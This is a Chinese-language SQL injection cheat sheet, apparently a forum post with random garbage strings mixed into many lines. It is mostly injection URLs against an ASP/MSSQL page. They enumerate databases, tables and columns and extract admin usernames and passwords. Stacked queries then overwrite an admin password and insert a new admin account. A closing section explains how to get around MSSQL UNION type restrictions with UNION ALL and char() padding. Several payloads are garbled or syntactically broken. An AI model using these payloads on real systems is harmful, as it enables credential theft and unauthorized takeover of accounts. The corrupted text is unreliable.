爆库:
0 i" K9 ]% l. J: Fhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
1 R2 [! q( E( G$ g- vSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.
7 t5 J6 r! |6 _+ s# c) L爆下一个库:4 Z# @( P* A) a" R/ r
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--! ~6 P1 a: B4 W2 _: S# Q
4 u, V6 z' N1 Y- S( U E爆表:) U2 ~/ {7 G" k- H
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--! J* D" Z4 `# z- n4 G1 B
4 y' H! Q6 X/ t: {: w$ y1 eSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.
# G3 w: R O) n% C# l. D8 L9 z/ z: \, \: h5 D" t4 C
爆下一个表) k4 e' F6 I. x; S7 S( ^5 J
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
# E3 n; A8 |8 A a2 z8 G# {
$ L0 g) K7 Q* n4 b0 p6 Q' _3 Jhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
4 {! Q7 ]* m* ^9 C% e
6 z9 L1 D9 |( m: m
* V8 W0 k2 g$ R/ \) X6 ~7 m5 `* T3 } T, w% }
爆字段:
, `( v7 E% B0 {4 h7 i: Ohttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
8 X# ]* ?* e5 w
s8 w- S: f( \# }1 D: s1 W爆下一个字段
9 E9 p2 Z: E0 O. L; ^: `3 k" Dhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--5 g2 s, ?. w w: k0 i
, y7 R7 m4 ~2 T) I, A) O
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--) i2 p8 [. c7 c7 t* {# M
. L5 L0 j, Q; O4 Y: W! |+ p4 J O$ x9 J% R# J& |5 L/ O
爆字段里的内容
/ A8 h- W" t; G! |9 _% l: [http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login-- L. d, I& `. \' p
: B- l& _. T. I9 N2 g
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--$ P. |/ g2 G9 V" T8 S4 U% k( W
% X/ x8 {0 w# ?- {" H
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
% q5 }- y, g$ g. }3 D' |
; a% K) q- K {7 r3 j3 `5 D" A8 `* Nhttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--# F& g8 Q8 t. M$ i; S- i9 F
; j5 Z" _/ u- y, J
更新字段里的内容, @: r8 g b! r, S- Q5 q
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--$ J z: ~/ k, C, o% R5 v2 |1 _' }/ Z/ R
5 D6 m/ D( p) R: t- _- M& ~# x
http://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--
$ O; Y+ P' {! K/ R, H6 L% P. c: n+ {: d! f( H
0 ?3 l" n+ S! H8 Z4 R4 g
9 h- o/ R3 T0 e3 k 在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。2 Y( M6 t! G' i: y
第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。7 M: w$ A5 N$ R4 S2 a% ~
第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
8 n7 [$ y' c' n& _% p/ p 最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
; C9 h& r, u* e* T! j+ r8 j# m6 E' e* n; }
突了了大部份限制的语句
# W- m: ~& u* F' |7 dand 1=2 union all select char(49),char(50),null,null;--* b) q$ I& h( h! d4 a9 B
) T8 k- Q) n! ^* ^! q
" x- v$ q% t0 Unull也可以正常执行,不过没有回显,不好判断回显的列数。
) B7 ?$ O ]* S一般union遇到问题都是有text或者ntext字段,image的很少遇到, e3 z6 y9 K; b7 r. r( F( T
( g' ^: W6 r$ B, r
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟* h: t( u* ^7 p$ h
; O6 Q) }, s$ m7 }# F0 k U0 n5 m* L+ i! m5 u' M% X
|